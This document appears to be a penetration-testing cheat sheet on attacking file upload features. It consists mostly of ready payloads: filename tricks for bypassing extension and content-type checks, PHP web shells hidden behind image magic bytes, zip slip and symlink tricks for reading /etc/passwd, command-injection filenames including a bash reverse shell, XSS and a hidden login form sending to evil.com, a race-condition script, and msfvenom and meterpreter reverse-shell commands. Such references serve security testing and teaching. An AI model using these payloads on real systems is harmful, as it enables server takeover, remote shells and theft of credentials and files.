File Upload Attack
Last modified: 2023-09-19
It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).
Check Allowed File Formats
First off, we need to know what file types are allowed to be uploaded in target website.
Try to upload any formats.
.exe
.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.bmp
.pdf
.js
.py
.go
.rs
Create Blank Files for Each Format
To create a blank file for the checking purpose, execute the following command.
- jpg, png
# https://superuser.com/questions/294943/is-there-a-utility-to-create-blank-images
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
# https://unix.stackexchange.com/questions/277892/how-do-i-create-a-blank-pdf-from-the-command-line
convert xc:none -page Letter a.pdf
Bypass File Extension Validation
We might be able to bypass file extension validation by modifying the filename.
For example, if we cannot upload a pure .php
file extension, tweak the filename a bit as below.
exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar
exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php
exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg
exploit.PHP
exploit.pHp
exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php
Bypass Content-Type Validation
We might be able to bypass the content type validation by modifying that.
For example, assume that we want to upload PHP
file to execute webshell or reverse shell, but PHP
files are rejected by the website.
In this situation, we might be able to bypass the validation by modifying the "Content-Type" from "application/x-php" to other types such as "image/jpeg", "plain/text" etc.
Here is the example.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->
------abcdefghijk
Change Upload Location by Filename
We might be able to upload our file to unintended location by path traversing with filename e.g. ../example.php
or ..%2Fexample.php
.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php
------abcdefghijk
Overwrite Server Configuration
We might be able to overwrite the web server configuration file such as ".htaccess", ".htpasswd" by specifying the filename to the name of the config file and write desired contents of that.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain
AddType application/x-httpd-php .abc
------abcdefghijk
Magic Bytes
Reference: Wikipedia
If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.
The exif_imagetype()
PHP function is likely to be used for such validation.
In addition, we may need to change other values such as "Content-Type" depending on the situation.
PNG
Hex signature: 89 50 4E 47 0D 0A 1A 0A
ISO 8859-1: ‰PNG␍␊␚␊
Payload example:
‰PNG␍␊␚␊
echo system($_GET['cmd']);
JPG/JPEG
-
Option 1
Hex signature:
FF D8 FF EE
ISO 8859-1:ÿØÿî
Payload example:
ÿØÿî echo system($_GET['cmd']);
-
Option 2
Hex signature:
FF D8 FF E0 00 10 4A 46 49 46 00 01
ISO 8859-1:ÿØÿà␀␐JFIF␀␁
Payload example:
ÿØÿà␀␐JFIF␀␁ echo system($_GET['cmd']);
JPG
Hex signature: FF D8 FF E0
ISO 8859-1: ÿØÿà
Payload example:
ÿØÿà
echo system($_GET['cmd']);
Hex signature: 25 50 44 46 2D
ISO 8859-1: %PDF-
Payload example:
%PDF-
echo system($_GET['cmd']);
GIF
Reference: Web Design in a Nutshell
-
Option 1
GIF87a is the original format for indexed color images. It uses LZW compression and has the option of being interlaced.
Hex signature:
47 49 46 38 37 61
ISO 8859-1:GIF87a
Payload example:
GIF87a echo system($_GET['cmd']);
-
Option 2
GIF89a is the same, but also includes transparancy and animation capabilities.
Hex signature:
47 49 46 38 39 61
ISO 8859-1:GIF89a
Payload example:
GIF89a echo system($_GET['cmd']);
RIFF WAVE
Hex signature: 52 49 46 46 ?? ?? ?? ?? 57 41 56 45
ISO 8859-1: RIFF????WAVE
Payload example:
RIFF????WAVE
<?php echo system($_GET['cmd']); ?>
Zip
If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. /upload/example.txt
.
Zip Slip
Create a file containing ‘../’ in the filename, and compress this file.
echo '<?php echo system("id");?>' > '../test.php'
zip test.zip '../test.php'
After uploading the zip file, target website (server) will decompress this file and may store the test.php
file into unexpected directory.
LFI with Symlinks
In local machine, create a symbolic link for a sensitive file. Then compress the symlink with zip
.
ln -s /etc/passwd passwd.txt
zip --symlink test.zip passwd.txt
When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (/etc/passwd
, etc.). In short, we may be able to see the contents of the sensitive file.
Bypass Client/Server Side Filter
If the website uses a filter for validation, we might be able to bypass it by disabling the filter.
We can easily do that with Burp Suite Intercept.
OPTION 1: Disable Client-Side (JavaScript) Filter
- In Burp Suite, go to Proxy tab and click Options.
- Navigate to "Intercept Client Requests" section, then click on the top line ("File extension"...) then click Edit.
- The popup will open.
- In the popup, find and remove "|^js$" in "Match condition", then save the filter.
OPTION 2: Disable Server-Side Filter
- In Burp Suite, go to Proxy tab and click Options.
- Navigate to "Intercept Server Requests" section and check "Intercept responses based on...".
Drop Filter
After setting up as above, we might be able to bypass filter by intercepting requests and drop the filter as the following actions.
- Turn the intercept on.
- On browser, press Ctrl+F5 (hard refresh) to reload the page.
- If you found the filtering file (.js), drop it.
Malicious Filnames
Command Injection
# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep+10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg
# Reverse Shell
test.jpg;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
PHP Injection
.jpg
"> .jpg
XSS
<script>alert(1)</script>.jpg
"><script>alert(1)</script>.jpg
SSTI
{{2*3}}.jpg
{2*3}.jpg
2*3.jpg
2*3}}.jpg
2*3}.jpg
${2*3}.jpg
"{{2*3}}.jpg
Truncation
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest.jpg
test.jpgxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
HTML Injection
Try to upload the file which includes HTML tags in the filename. It may affect the web page.
<h1>test.jpg
<!-- `/`: HTML entiry for '/' -->
"><iframe src="http://10.0.0.1">.jpg
"><img src=x onerror=alert(document.domain).jpg
"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg
SQL Injection
Try to upload the file which includes SQL command in the filename. It may execute SQL Injection when uploading or other situations.
--sleep(10).jpg
Race Condition Attack
We might be able to bypass/execute payload using race condition.
We can easily achieve that with Turbo Intruder in Burp Suite.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,)
request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/etc/passwd'); ?>
------abcdefghijk--
'''
request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
'''
engine.queue(request_post, gate='race1')
for i in range(5):
engine.queue(request_get, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
PHP Payloads
After finding vulnerability, we can create a payload for exploiting the website.
Here is the example payloads of web shell and reverse shell to compromise target system.
Web Shell
For example, the file name is "exploit.php".
// Simply showing the result of 'whoami'.
echo system('whoami');
// This shows the content of "/etc/passwd".
echo file_get_contents('/etc/passwd');
// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
echo system($_GET['cmd']);
Reverse Shell for Linux
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444
Or we might be able to use the following simple script.
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");
Then open listener for getting a shell.
nc -lvnp 4444
After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php"
.
Reverse Shell for Windows
First create a malicious executable file using msfvenom.
Replace 10.0.0.1 with your local ip.
# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o cv-username.exe
Next start a listener for getting the target shell.
# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"
After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.
# Usage command
meterpreter> ?
Other Tips
Craft Upload Request
If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request.
First off, we need to set multipart/form-data; boundary=<arbitrary_characters>
to Content-Type in HTTP headers as below.
Of course we need to specify the POST method at the top of the header.
Content-Type: multipart/form-data; boundary=abcdef
Then we can surround POST body (to upload file) with this boundary as the following.
--abcdef
Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg
some code here...
--abcdef--